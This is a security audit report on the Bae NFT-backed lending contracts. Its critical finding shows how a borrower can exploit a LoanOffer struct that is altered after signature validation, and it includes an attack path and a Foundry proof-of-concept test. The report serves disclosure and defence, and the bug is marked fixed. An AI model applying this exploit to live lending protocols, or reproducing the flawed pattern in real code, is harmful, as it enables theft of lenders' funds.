Obsidian

AUDITS

# Bae NFT Lending Security Review

**Auditors**

0xjuaan

0xSpearmint

7th August, 2025

# Introduction

## Obsidian Audits

Obsidian Audits is a team of top-ranked security researchers, with a publicly proven track record, specialising in DeFi protocols across EVM chains and Solana.

The team has achieved 10+ top-2 placements in audit competitions, placing #1 in competitions for Yearn Finance, Pump.fun, DeBank, and many more.

Find out more: obsidianaudits.com

## Audit Overview

Bae is a decentralized NFT-backed lending platform. The protocol enables sophisticated peer-to-peer lending with NFTs as collateral, supporting complex multi-lender loan structures through an advanced tranche system.

The Bae team engaged Obsidian Audits to perform a security review on their NFT lending contracts. The contracts are a fork of Gondi V3, introducing numerous added features- including bi-direction offer creation, a dynamic fee discount mechanism, and more.

The 7-day review took place from the 27th of July to the 2nd of August, 2025.

## Scope

### Files in scope

| Repo | Files in scope |
|---|---|
| `sc-bae-lending`<br><br>**Commit hash:** 5dedd278b3458c6ed79be148a2e1148c2d22daee | src/loans/*<br>src/FeeDiscountManagerUpgradeable.sol<br>src/validators/ListNftAddressesValidator.sol |

## Summary of Findings

### Severity Breakdown

A total of **5** issues were identified and categorized based on severity:

- **1 Critical severity**
- **1 Low severity**
- **3 Informational**

### Findings Overview

| ID | Title | Severity | Status |
|---|---|---|---|
| **C-01** | Mishandling of `LoanOffer` struct after signature validation enables stealing lender funds | Critical | Fixed |
| **L-01** | Global nonce in fee discount manager revokes all user signatures at once | Low | Acknowledged |
| **I-01** | Unreachable code in `refinanceFromLoanExecutionData` function | Informational | Acknowledged |
| **I-02** | Incorrect comment in UserVault | Informational | Fixed |
| **I-03** | Spelling errors | Informational | Fixed |

## Severity Classification

| Severity | Impact: High | Impact: Medium | Impact: Low |
|---|---|---|---|
| **Likelihood: High** | Critical | High | Medium |
| **Likelihood: Medium** | High | Medium | Low |
| **Likelihood: Low** | Medium | Low | Info |

### Impact

- **High -** leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- **Medium -** leads to a moderate material loss of assets in the protocol or moderately harms a group of users. Alternatively, breaking a core aspect of the protocol's intended functionality
- **Low -** leads to a minor material loss of assets in the protocol or harms a small group of users.

### Likelihood

- **High -** attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- **Medium -** the attack/vulnerability requires minimal or no preconditions, but there is limited or no incentive to exploit it in practice
- **Low -** requires highly unlikely precondition states, or requires a significant attacker capital with little or no incentive.

# Findings

## [C-01] Mishandling of `LoanOffer` struct after signature validation enables stealing lender funds

### Description

When processing lend offers, `_validateOfferExecution()` is called for each `OfferExecution`. This involves validation of the lender's signature:

```
_checkSignature(lender, LibHash.hash(offer), _lenderOfferSignature);
```

Then, before calling `checkValidators()`, the `offer.nftCollateralAddress` is set to `_nftCollateralAddress` param.

```
_offerExecution.offer.nftCollateralAddress = _nftColletaralAddress;
LibLoan.checkValidators(_offerExecution.offer, _tokenId);
```

This is done to ensure that the validations would be done against the right nft address.

```
function checkValidators(LoanOffer memory _loanOffer, uint256 _tokenId)
internal view {
        uint256 offerTokenId = _loanOffer.nftCollateralTokenId;
        if (_loanOffer.nftCollateralTokenId != 0) {
            if (offerTokenId != _tokenId) {
                revert InvalidCollateralIdError();
            }
        }
        else {
            uint256 totalValidators = _loanOffer.validators.length;
            if (totalValidators == 0 && _tokenId != 0) {
                revert InvalidCollateralIdError();
            } else if ((totalValidators == 1) &&
_loanOffer.validators[0].validator == address(0)) {
                return;
            }
            for (uint256 i = 0; i < totalValidators;) {
                OfferValidator memory thisValidator =
_loanOffer.validators[i];

 IOfferValidator(thisValidator.validator).validateOffer(_loanOffer,
_tokenId, thisValidator.arguments);
                unchecked {
                    ++i;
                }
            }
        }
    }
```

The issue is that a lender may have created an offer in which they specified a non-zero `offer.nftCollateralAddress`, which has now been overwritten, along with a non-zero `tokenId`.

As a result, when `checkValidators()` is called, the first `if` block will be entered, so the validator checks will be skipped.

Furthermore, since the offer's `nftCollateralAddress` has been updated, the `checkOffer` which checks the offer's collection address will falsely succeed:

```
    function checkOffer(
        LoanOffer memory _offer,
        address _principalAddress,
        address _nftCollateralAddress,
        uint256 _amountWithInterestAhead
    ) internal view {
        if (
            _offer.principalAddress != _principalAddress
                || (_offer.nftCollateralAddress != address(0) &&
_offer.nftCollateralAddress != _nftCollateralAddress)
        ) {
            revert InvalidAddressesError();
        }
    ....
    }
```

## Attack path

1. Lender signs an offer to lend $2000 to Hypio #1000
2. A malicious borrower signs an offer to lend to a cheaper NFT with tokenId=1000

3. Then, the borrower calls `emitLoan()` with their offer as the first in the array, and the actual offer as the second
4. Due to the bug, the loan is succesful, and the $2000 loan is provided to the cheap NFT as collateral
5. The malicious borrower profits since the borrowed funds greatly exceed their collateral value

## Proof of Concept

Add the following test (and helper function) to `MultiSourceLoan.t.sol`

```
function test_POC_scamLoan() public {

    SampleCollection cheapNFT = new SampleCollection();
    cheapNFT.mint(userA, collateralTokenId);

    vm.startPrank(userA);
    cheapNFT.setApprovalForAll(address(_msLoan), true);
    deal(address(testToken), userA, _INITIAL_PRINCIPAL);
    testToken.approve(address(_msLoan), _INITIAL_PRINCIPAL);


    // whitelist the collection
    vm.startPrank(collectionManager.owner());
    collectionManager.add(address(cheapNFT));

    LoanOffer[] memory offers = new LoanOffer[](2);
    offers[0] = _getSampleOffer(userA, address(cheapNFT),
collateralTokenId, _INITIAL_PRINCIPAL);
    offers[1] = _getSampleOffer(userB, address(collateralCollection),
collateralTokenId, _INITIAL_PRINCIPAL);
    offers[1].maxSeniorRepayment =
        offers[0].principalAmount +
offers[0].principalAmount.getInterest(offers[0].aprBps,
offers[0].duration);
    offers[1].principalAmount = offers[0].principalAmount * 2;

    LoanExecutionData memory lde =
_sampleMultipleOffersLoanExecutionData(offers);
    (uint256 loanId, Loan memory loan) = _msLoan.emitLoan(lde,
_getEmptyFeeDiscountData());


    console.log("collateral.ownerOf()",
collateralCollection.ownerOf(collateralTokenId));
```

```
    console.log("cheapNFT.ownerOf()",
cheapNFT.ownerOf(collateralTokenId));
    console.log("loan contract", address(_msLoan));

    assertEq(address(loan.nftCollateralAddress), address(cheapNFT));
    assertEq(loan.nftCollateralTokenId, collateralTokenId);
    assertEq(loan.principalAmount, 2 * _INITIAL_PRINCIPAL);

}

function _getSampleOffer(address _lender, address _collection, uint256
_tokenId, uint256 amount)
    internal
    returns (LoanOffer memory)
{
    _offerId[_lender]++;
    return LoanOffer(
        _offerId[_lender],
        _lender,
        0,
        0,
        _collection,
        _tokenId,
        address(testToken),
        amount,
        5000,
        10 days,
        30 days,
        amount * 104 / 100,
        new OfferValidator[](0)
    );
}
```

## Recommendation

Ensure that `_offerExecution.offer.nftCollateralAddress` is only updated if it is was originally passed as `address(0)`

**Remediation:** Fixed in commit b295ecd

## [L-01] Global nonce in fee discount manager revokes all user signatures at once

### Description

The `FeeDiscountManagerUpgradeable` contract uses a single global nonce for all signatures. If a single signature is issued incorrectly (e.g., with an overly long deadline), the only way to revoke it is to increment the global nonce. This invalidates all previously valid signatures, requiring all users to obtain new signatures. While this behavior may be acceptable for a small number of fee discount policies, it does not scale well if many signatures are active at the same time.

### Recommendation

Consider implementing a per-account nonce (e.g., mapping(address => uint256)) to allow invalidating a specific user's signature without affecting others. This would provide more granular control and avoid unnecessary re-issuance of valid signatures.

**Remediation:** Issue acknowledged

## [I-01] Unreachable code in `refinanceFromLoanExecutionData` function

### Description

In the `refinanceFromLoanExecutionData` function, there is a borrower signature validation guarded by the following condition:

```
if (msg.sender != borrower) {
    _checkSignature(...);
}
```

However, at the start of the function, there is already a check that enforces the caller to be the borrower:

```
if (msg.sender != _loan.borrower) {
    revert InvalidCallerError();
}
```

Because this initial check reverts when `msg.sender` is not the borrower, the later conditional block will never be executed.

Additional instances of unreachable code:

In the same function, `_processOffersFromExecutionData()` is called only once, and it is called with `_isRequestFromBorrower=false`

Because of this, all the conditional logic when `_isRequestFromBorrower` is true, will never be executed, so is also unreachable code.

Here is an example of one of the sections of unreachable logic:

```
if (_isRequestFromBorrower) {
    require(totalOffers == 1);
    require(_offerExecution[0].offer.lender == address(0));
    _offerExecution[0].offer.lender = _acceptLender;


    address attachedLender =
        loanStorage.borrowerOfferAttachedLender[_borrower]
[_offerExecution[0].offer.offerId];
    if (attachedLender != address(0)) {
        require(attachedLender == _acceptLender);
    } else {
        loanStorage.borrowerOfferAttachedLender[_borrower]
[_offerExecution[0].offer.offerId] = _acceptLender;
    }
}
```

## Recommendation

- Consider removing the signature validation in refinanceFromLoanExecutionData function
- Also, consider removing the unreachable logic in the following locations: 1, 2, 3, 4

**Remediation:** Fixed in commit 698dda5

## [I-02] Incorrect comment in UserVault

### Description

The title of the `UserVault` contract is incorrectly set as `Auction Loan Liquidator`

```
/// @title Auction Loan Liquidator
```

### Recommendation

Consider changing the title to `User Vault`

**Remediation:** Fixed in commit b165091

## [I-03] Spelling errors

### Description

In `_validateOfferExecution()`, the following parameter is spelled incorrectly:

```
address _nftColletaralAddress
```

It should be `_nftCollateralAddress`

In `FeeDiscountManagerUpgradeable`, `useOnTranshPrincipalFeeDiscount` should be `useOnTranchPrincipalFeeDiscount`

**Remediation:** Fixed in commit b4556c4